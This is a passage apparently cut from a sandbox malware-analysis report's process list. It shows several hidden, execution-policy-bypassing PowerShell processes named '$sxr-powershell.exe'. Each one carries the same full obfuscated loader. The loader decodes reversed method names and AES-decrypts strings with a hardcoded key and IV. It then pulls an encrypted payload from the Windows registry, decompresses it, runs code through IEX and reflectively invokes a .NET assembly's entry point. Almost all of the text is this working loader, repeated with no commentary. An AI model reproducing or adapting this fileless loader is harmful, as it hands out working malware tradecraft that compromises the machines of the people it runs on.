[Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:3504
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:3392
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:2392
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:3140
- - C:\Windows\$sxr-powershell.exe
    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = 